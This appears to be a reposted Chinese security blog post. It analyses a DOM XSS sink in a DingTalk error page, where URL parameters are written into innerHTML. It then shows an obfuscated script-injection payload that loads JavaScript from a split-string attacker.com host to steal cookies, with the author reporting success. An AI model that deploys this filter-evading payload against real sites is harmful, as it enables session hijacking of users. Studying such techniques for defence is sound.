做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接:
查看源码,复制其中的代码:
try {var search = location.search;if (search && search.length > 1 && search.charAt(0) === '?') {search = search.substr(1);var pairs = search.split('&');var kv = {};for (var i in pairs) {var parts = pairs[i].split('=');if (parts && parts.length > 1) {kv[parts[0]] = parts[1];}}}var errcode = kv['errcode'];var errmsg = kv['errmsg'];if (errcode) {var divCode = document.getElementById('code');if (divCode) {divCode.innerHTML += ('errcode: ' + errcode);}}if (errmsg) {var divMsg = document.getElementById('msg');if (divMsg) {divMsg.innerHTML += ('errmsg: ' + errmsg);}}}catch (e) {console.log(e);}
关键部分是:
写入errcode和errmsg到divCode和divMsg中。
其中errcode和errmsg都是我们可控的。
打开console简单测试下:
不懂没关系直接做:
说明我们外部可控,导致这个原因是因为遍历的是location.search
本地搓个demo:
只要errcode和errmsg为xss代码,即可触发xss攻击。很可惜这里。。最后做了处理。
正题:加载第三方js代码:
刷新钉钉页面:
发现加载了一些js链接依赖:
查看源码,看看他怎么调用的:
<body><script>with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")</script><script>with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")</script><script>with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")</script>
相当有意思,不同于以前的,以前我们xss打cookie/外部加载js都是是这样的:
<script src="http://attacker.com/xss.js"></script>通过阿里加载js的方式,我们可以改造我们的加载方式如下:
<script type="text/javascript">with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")</script>
我们访问网页:
直接加载了,查看我们是否接收到:
成功接收成功。
这个cookie窃取已经不是啥骚姿势了,只是这次通过阿里正常加载js地址,学习包装型的cookie获取。
作者:飘渺红尘原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14729939.html
如有侵权,请联系删除
好文推荐